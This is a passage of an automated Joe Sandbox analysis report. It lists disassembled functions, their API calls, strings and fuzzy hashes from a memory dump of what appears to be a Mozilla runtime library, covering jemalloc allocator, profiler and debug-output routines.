Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 70c1fa1f327032f70af44735b2074df8f6e7b065a6db3d30d5881a8ac5e5f63d
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8C33CE71E0021ACFCB04CFA8C8806EDBBF2FF49304F688269D955AB795D731A955CB94

Function 6C61ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C61EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C61EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C621695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6216B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C621770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C621A3E

Strings

~q_l, xrefs: 6C61ED10
~q_l, xrefs: 6C61ED13

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q_l$~q_l
API String ID: 3693777188-2274163580
Opcode ID: 1b3168a3dfb5a0805d51b8896217f33ed8638c762e42a502925bed82ebf07194
Instruction ID: 75351e9967dd3d8bea4a5cbbb46ad0b543c686f7da169684c73e6339c1ee3688
Opcode Fuzzy Hash: 1b3168a3dfb5a0805d51b8896217f33ed8638c762e42a502925bed82ebf07194
Instruction Fuzzy Hash: D3B31871E04219CFCB24CFA8C890ADDB7B2BF49304F2582A9D449AB745D735AD86CF94

Function 6C60FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7B8), ref: 6C60FF81
LeaveCriticalSection.KERNEL32(6C67E7B8), ref: 6C61022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C610240
EnterCriticalSection.KERNEL32(6C67E768), ref: 6C61025B
LeaveCriticalSection.KERNEL32(6C67E768), ref: 6C61027B

Strings

<jemalloc>, xrefs: 6C610D62, 6C610D76, 6C610DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C60FE99, 6C60FEB7, 6C60FED3, 6C610DB8, 6C610DD3, 6C6119B4
: (malloc) Error in VirtualFree(), xrefs: 6C610D67, 6C610D7B, 6C610DAC

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: d4154d63c9c7c7b6a15692cabdade44980e18164e0d4d5db6fd7822397a0396b
Instruction ID: ea323ee8236df2fd92b6e14a865506a7a68230a9a39530bdc247cae73f4d555b
Opcode Fuzzy Hash: d4154d63c9c7c7b6a15692cabdade44980e18164e0d4d5db6fd7822397a0396b
Instruction Fuzzy Hash: E3C2E171A097418FDB14CF2DC580756BBE1BF85329F28CA6DE4698BB95C731E801CB89

Function 6C65E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C65E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C65EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C65F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C660E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C660E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C660EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C660ED4

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 22193c7bf6e65f47521a7546cbfd2b41534f1c3c426c4e39e0d0d991257189db
Instruction ID: a31dd06adc9b702a02bb8e2572f8e59d8429ecd96f9f434b4dda432a258bda88
Opcode Fuzzy Hash: 22193c7bf6e65f47521a7546cbfd2b41534f1c3c426c4e39e0d0d991257189db
Instruction Fuzzy Hash: EB63AD71E0025ACFCB04CFA9C8906DDFBB2FF89314F298229D855AB745D730A946CB95

Function 6C633E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C657770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>cl,?,?,?,6C633E7D,?,?), ref: 6C65777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C633F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C633F5C
VerSetConditionMask.NTDLL ref: 6C633F8D
VerSetConditionMask.NTDLL ref: 6C633F99
VerSetConditionMask.NTDLL ref: 6C633FA0
VerSetConditionMask.NTDLL ref: 6C633FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C633FB4

Strings

nvd3d9wrap.dll, xrefs: 6C634466
nvinit.dll, xrefs: 6C634479
C>cl, xrefs: 6C633E93

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>cl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-369860140
Opcode ID: 232f1babb309a049ad98be6d2209b629328481822a0ad36c1227a257630d5375
Instruction ID: 574b3716a0422b7612d7549a2b8105cd50241476d29c98c0a03fdc2339f1300a
Opcode Fuzzy Hash: 232f1babb309a049ad98be6d2209b629328481822a0ad36c1227a257630d5375
Instruction Fuzzy Hash: 69520631614B444FDB19DF35C980ABBB7E9AF81308F14482DD5968B782CB74F909CB68

Function 6C60FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7B8), ref: 6C60FF81
LeaveCriticalSection.KERNEL32(6C67E7B8), ref: 6C61022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C610240
EnterCriticalSection.KERNEL32(6C67E768), ref: 6C61025B
LeaveCriticalSection.KERNEL32(6C67E768), ref: 6C61027B

Strings

MOZ_CRASH(), xrefs: 6C610CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C60FE99, 6C60FEB7, 6C60FED3, 6C610DB8, 6C610DD3, 6C6119B4, 6C611A10

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 4d29b1e154bddc2818cff3ad6370a802c538136e2c816f565c7df0c224911fd8
Instruction ID: 98f3742efe59498302514fc9115d23a827b1977b704ecb00c76476955657479d
Opcode Fuzzy Hash: 4d29b1e154bddc2818cff3ad6370a802c538136e2c816f565c7df0c224911fd8
Instruction Fuzzy Hash: 0FB2DF71A097418FDB18CF2DC590756BBE1BF85329F28C66CE86A8BB95C730D840CB49

Function 6C645600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C645E79, 6C645E8F
data, xrefs: 6C646131
expected a Count entry, xrefs: 6C645AC3
expected a Time entry, xrefs: 6C645CB6
ProfileBuffer parse error: %s, xrefs: 6C645AC8, 6C645CBB
schema, xrefs: 6C64606D

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 3d1a8dcc057f76f54154867015abd025f1343b9fd2668b6ee31e85a26b8bd3e3
Instruction ID: c4f5b736671e16504ff2e2bee2e50b355c3b855a2393bd10c6815b562569f0a5
Opcode Fuzzy Hash: 3d1a8dcc057f76f54154867015abd025f1343b9fd2668b6ee31e85a26b8bd3e3
Instruction Fuzzy Hash: 59923C71A083418FD724CF29C490B9ABBE1BFC9308F14C91DE59A9B751DB31E849CB96

Function 6C642E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C642ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C642EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C642F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C643214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C643242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6436BF

Strings

set , xrefs: 6C6436EC
get , xrefs: 6C643205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C64378D

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 8f722619ab7271e4526f7f779c3f5e81d8887b2c8a138ec69ffd251075ddd3ad
Instruction ID: 153a85726fc7378a0a03c8b11008009d5362e6eb2f5fea8bf72bb93da298ed05
Opcode Fuzzy Hash: 8f722619ab7271e4526f7f779c3f5e81d8887b2c8a138ec69ffd251075ddd3ad
Instruction Fuzzy Hash: 5A325D706083818FD724CF24C4906AFBBE2AFCA318F54CD2DE59987751DB31994ACB5A

Function 6C637E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C637ECF, 6C638335
data, xrefs: 6C638280, 6C6383E1
(pre-xul), xrefs: 6C637E88
schema, xrefs: 6C6381E3, 6C638311
vgl, xrefs: 6C638207

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vgl
API String ID: 3412268980-3118193200
Opcode ID: 8ba245cea1923ba422a61649ee8527e7bfdd0b5f7a5fd938c013ee1e84b136a8
Instruction ID: 9d5d5719b19ace90b9baa9988b55942f583489c675912c8a747ea33ee751844c
Opcode Fuzzy Hash: 8ba245cea1923ba422a61649ee8527e7bfdd0b5f7a5fd938c013ee1e84b136a8
Instruction Fuzzy Hash: 31E16EB1B043508BC714CF69884065BFBEABFC5314F14892DE899E7790DBB0DD498B9A

Function 6C655FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C656009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C656024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q_l,?), ref: 6C656046
OutputDebugStringA.KERNEL32(?,Q_l,?), ref: 6C656061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C656069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C656073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C656082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C67148E), ref: 6C656091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q_l,00000000,?), ref: 6C6560BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6560C4

Strings

Q_l, xrefs: 6C655FFC, 6C656042, 6C656045, 6C6560B3

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q_l
API String ID: 3835517998-757364120
Opcode ID: cd83abbf4ec0b2c89e0950d6895fef7365f10fa9f95db4a0fec31125532f577d
Instruction ID: 0dbfa66d316b73d8ffd2b603db7484e1e19f27841cb2742a954508b80e96fd45
Opcode Fuzzy Hash: cd83abbf4ec0b2c89e0950d6895fef7365f10fa9f95db4a0fec31125532f577d
Instruction Fuzzy Hash: 5F210570A002189FDB105F25DC4DAAE7BB8FF85718F108828E81AD7340CB34A959CFE9

Function 6C615E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2
memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C6161F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C617652

Strings

MOZ_CRASH(), xrefs: 6C617BA4
ewel, xrefs: 6C615E9C, 6C615F22, 6C6161ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6172E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C61730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6172F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C617BCD, 6C617C1F, 6C617C34, 6C6180FD

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewel
API String ID: 2613674957-3199334182
Opcode ID: dabfec87ba2c0bdf99521cda5077dbdfc047a2650f0c2dfe393e52ef22e7958b
Instruction ID: d873d38de881a35cba0c7ac0bba5f8815ad3e82048a20bb418226241c6e59221
Opcode Fuzzy Hash: dabfec87ba2c0bdf99521cda5077dbdfc047a2650f0c2dfe393e52ef22e7958b
Instruction Fuzzy Hash: 9E338C716097018FC308CF2DC590615BBE2FF85329F29C6ADE9698BBA5D731E841CB49

Function 6C644820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

-%llu, xrefs: 6C644825
data, xrefs: 6C6449B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C644DB8, 6C644DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C644D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C644D65
gl, xrefs: 6C644F88
ProfileBuffer parse error: %s, xrefs: 6C644DD9
schema, xrefs: 6C6448C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C644CAF

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free
String ID: gl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1877600697
Opcode ID: d16035057b397de6e403e5c36f180a7cbf305d7e56c343ba8e82fbe6ed599610
Instruction ID: f9364334e7e4277b22eb56b5fbb684030e89b7b14886a246c3d1d44452a3047d
Opcode Fuzzy Hash: d16035057b397de6e403e5c36f180a7cbf305d7e56c343ba8e82fbe6ed599610
Instruction Fuzzy Hash: 92721B71918B858BD362CF34C4513ABF7E5AFDA344F10CB1DE48A6B610EB70A486DB46

Function 6C61D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D4F2
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D50B

Part of subcall function 6C5FCFE0: EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5FCFF6
Part of subcall function 6C5FCFE0: LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D52E
EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C61D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61D6A6
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C61D712
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C61D82C
<jemalloc>, xrefs: 6C61D827

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: bf6e5e232ca202e544e4fc4cff9828bffab9c94ee90585403f16e694e4c0920e
Instruction ID: be4dd4740b90a97457fe28c7205c56831057b5889f574d2716ebc351663f5cb5
Opcode Fuzzy Hash: bf6e5e232ca202e544e4fc4cff9828bffab9c94ee90585403f16e694e4c0920e
Instruction Fuzzy Hash: 2991F371A087118FD71ACF2DC49076AB7E1EB89319F14892EE45AC7F80D734E845CB9A

Function 6C654EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C654EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C654F2E
moz_xmalloc.MOZGLUE ref: 6C654F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C654F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6552B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6552E6
Sleep.KERNEL32(00000010), ref: 6C655481
free.MOZGLUE(?), ref: 6C655498

Strings

(, xrefs: 6C655250

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 029c3fea6ef1d458663b5b98550b62e76978de50eb5513f72802d42340b4d222
Instruction ID: 37fac6fe6ec29b5788413457d72f15c0df9a883d5aa7b6b2029c1e2208d4d449
Opcode Fuzzy Hash: 029c3fea6ef1d458663b5b98550b62e76978de50eb5513f72802d42340b4d222
Instruction Fuzzy Hash: 1BF1E471A18B108FC717CF3AC89062BB7F5AFD6384F058B2EF846A7650DB3194428B45

Function 6C657030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C657046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C657060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C65707E

Part of subcall function 6C6081B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a Time entry), ref: 6C6081DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C657096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C65709C
LocalFree.KERNEL32(?), ref: 6C6570AA

Strings

### ERROR: %s: %s, xrefs: 6C657087
(null), xrefs: 6C65706A, 6C657083

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 0f47b4ad35c498fcdf2de1ee3248b38c4f8ee584d31f1739690621f1ba7cc03e
Instruction ID: 04c24cfe2b536172f2a6581dc3b58e4f1bb9835d1f3c74a6efe38451ddefc69b
Opcode Fuzzy Hash: 0f47b4ad35c498fcdf2de1ee3248b38c4f8ee584d31f1739690621f1ba7cc03e
Instruction Fuzzy Hash: 5701B9B1A00114AFDB05AB65DC4EDAF7BBCEF89254F010825FA05A3241D67169188FB9

Function 6C619E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

